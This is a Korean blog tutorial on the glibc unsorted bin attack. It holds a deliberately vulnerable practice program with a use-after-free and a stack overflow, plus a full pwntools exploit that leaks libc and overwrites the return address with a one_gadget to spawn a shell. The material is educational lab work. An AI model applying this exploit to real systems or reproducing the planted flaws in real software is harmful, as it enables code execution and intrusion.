상세 컨텐츠

본문 제목

Unsorted bin attack

SYSTEM HACKING/Exploit Tech

by koharin 2020. 6. 11. 16:05

본문

728x90
반응형

unsorted bin: small chunk, large chunk 크기의 청크들이 재할당을 위해 사용되는 bin

 

공격 방법: 해제된 BK 포인터를 조작해서 원하는 영역에 main_arena 영역의 주소를 쓸 수 있는 공격 기법

 

fastbin 크기가 아닌 청크를 처음 해제하면, FD와 BK 포인터에 main_arena+88 주소가 적힌다.

같은 크기로 재할당 시 해당 포인터의 FD를 찾아서 해당 주소에 재할당해준다.

 

예제1

 

(1) 힙 2개 할당

- 힙 해제 시 top chunk와 합쳐지지 않게 하기 위해 힙 2개를 할당한다.

 

(2) 힙 1개 해제

해제된 청크의 FD와 BK 포인터에 main_arena+88 주소가 적힌다.

 

이후 힙을 재할당하면 0x602000 영역의 힙 청크를 재할당해준다.

해당 포인터를 조작하면 원하는 주소+0x10 위치에 힙을 할당받을 수 있다.

 

p main_arena로 main_arena.bins[0]을 확인해보면 해제된 청크의 주소인 0x602000가 저장되어 있는 것을 확인할 수 있다.

 

 

unsorted bin 처리 코드: 

/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M)          (bin_at (M, 1))
for (;; )
{
    int iters = 0;
    while (( victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
    {
    	bck = victim->bk;
    	...
    	
        bck->fd = unsorted_chunks (av);
    }
}

 

unsorted_chunks는 main_arena.bins[0]에 저장된 청크이다. (unsorted bin)

victim은 unsorted_chunks 위치의 포인터의 BK 값을 저장한다.

victim = 0x00007ffff7dd1b78

 

bck = victim->bk = 0x602000

 

bck->fd = [0x602000+0x10]

 

청크 재할당 결과

*0x7ffff7dd1b88 = 0x7ffff7dd1b78

 

따라서 victim을 수정할 수 있으면, unsorted chunks인 main_arena 영역 주소를 쓸 수 있다.

 

예제2

 

#include <stdio.h>
#include <stdlib.h>
#define ALLOC_SIZE 0x410
long target;
int main(void){
    fprintf(stderr, "target : 0x%lx\n", target);
    long *ptr = malloc(ALLOC_SIZE);
    malloc(ALLOC_SIZE);
    free(ptr);
    ptr[1] = (long)&target - 16;
    malloc(ALLOC_SIZE);
    fprintf(stderr, "target : 0x%lx\n", target);
}

 

(1) 힙 2개 할당

- top chunk와 합쳐지지 않게 하기 위해 2개 할당한다.

- 한 힙 청크에 대한 포인터는 ptr에 저장한다.

 

(2) ptr에 대한 힙 청크 해제

 

(3) 해제한 힙 청크의 BK 포인터에 target-0x10 저장

- target에 main_arena 영역 주소 적기 위해 target-0x10을 저장한다.

 

(4) target 값 확인해보면 main_arena 영역 주소가 적혀있다.

 

예제3

 

// gcc -o unsorted unsorted.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int main()
{
	char buf[256];
	char *ptr[10];
	int ch, idx;
	int i = 0;
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	while (1) {
		printf("> ");
		scanf("%d", &ch);
		switch(ch) {
			case 1: 
				if( i >= 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
				ptr[i] = malloc(0x100);
				printf("Data: ");
				read(0, ptr[i], 0x100);
				i++;
				break;
			case 2:
				printf("idx: ");
				scanf("%d", &idx);
				free(ptr[idx]);
				break;
			case 3:
				printf("idx: ");
				scanf("%d", &idx);
				printf("data: ");
				read(0, ptr[idx], 0x100);
                break;
			case 4:
                printf("Name: %s\n",name);
				break;
			case 5:
				read(0, buf, 300);
				return 0;
			default:
				break;
		}
	}
	return 0;
}

 

익스플로잇 시나리오

 

해제된 청크에 대한 포인터를 초기화하지 않기 때문에 해제된 힙의 BK를 수정할 수 있다.

 

(1) 힙 청크 2개 할당(1번 메뉴)

- small chunk 이상 청크 2개 할당한다.

- top chunk와 합쳐지지 않게 하기 위해 2개 할당한다.

 

(2) 청크 1개 해제(2번 메뉴)

- main_arena.bins[0]에 해제된 청크에 대한 포인터 주소가 적힌다.

- 해제된 청크의 FD와 BK에 main_arena+88이 적힌다.

 

(3) 3번 메뉴 통해 데이터 수정해서 BK를 name-0x10으로 바꾼다.

- 4번 메뉴에서 name을 출력해주므로 name에 main_arena 영역 주소를 적어 leak하기 위해

- name-0x10을 적고 해제된 힙 크기를 할당 시 name에 main_arena 영역의 주소가 적힌다.

(4) 4번 메뉴 통해 name 값을 출력해서 libc leak 진행한다.

- libc leak 후 one gadget 주소 구한다.

 

 

(5) 5번 메뉴에서 return address를 one gadget으로 덮고 return 하면 쉘 실행할 수 있다.

 

 

 

익스 코드

#!/usr/bin/python 
from pwn import *                                                              

context.log_level = 'debug'
p = process("./unsorted")
elf = ELF("./unsorted")
name = elf.symbols['name']

def add(data):
    p.sendlineafter("> ", '1')
    p.sendafter("Data: ", data)

def free(idx):
    p.sendlineafter("> ", '2')
    p.sendlineafter("idx: ", str(idx))

def edit(idx, data):
    p.sendlineafter("> ", '3')
    p.sendlineafter("idx: ", str(idx))
    p.sendafter("data: ", data)

def print_name():
    p.sendlineafter("> ", '4')

def overflow(data):
    p.sendlineafter("> ", '5')
    p.send(data)

add('A'*8)
add('B'*8)

free(0)
edit(0, 'A'*8 + p64(name-0x10))

add('C'*8)

print_name()
p.recvuntil("Name: ")
leak = u64(p.recvuntil("\x7f") + '\x00\x00')
log.info("leak: "+hex(leak))
libcbase = leak - 0x3c4b78
one_gadget = libcbase + 0x45216

#gdb.attach(p)
overflow('A'*280 + p64(one_gadget))

p.interactive()

Ubuntu 18 버전에서 Unsorted bin Attack

 

18버전에서 0x10~0x400까지의 청크는 크기에 상관없이 tcache에서 관리되고, 그 이상은 main_arena에서 관리된다.

 

따라서 힙 청크를 0x420 바이트 이상 할당한 후 해제하면 해제한 청크의 fd와 bk에 main_arena 영역의 주소가 적힌다.

이 주소를 leak하면 libc leak이 가능하다.


 

728x90
반응형

'SYSTEM HACKING > Exploit Tech' 카테고리의 다른 글

Unsafe Unlink  (0) 2020.06.12
Poison NULL Byte  (0) 2020.06.12
Tcache House of Spirit  (0) 2020.06.11
fastbin dup  (0) 2020.06.10
Tcache Dup  (0) 2020.06.10

관련글 더보기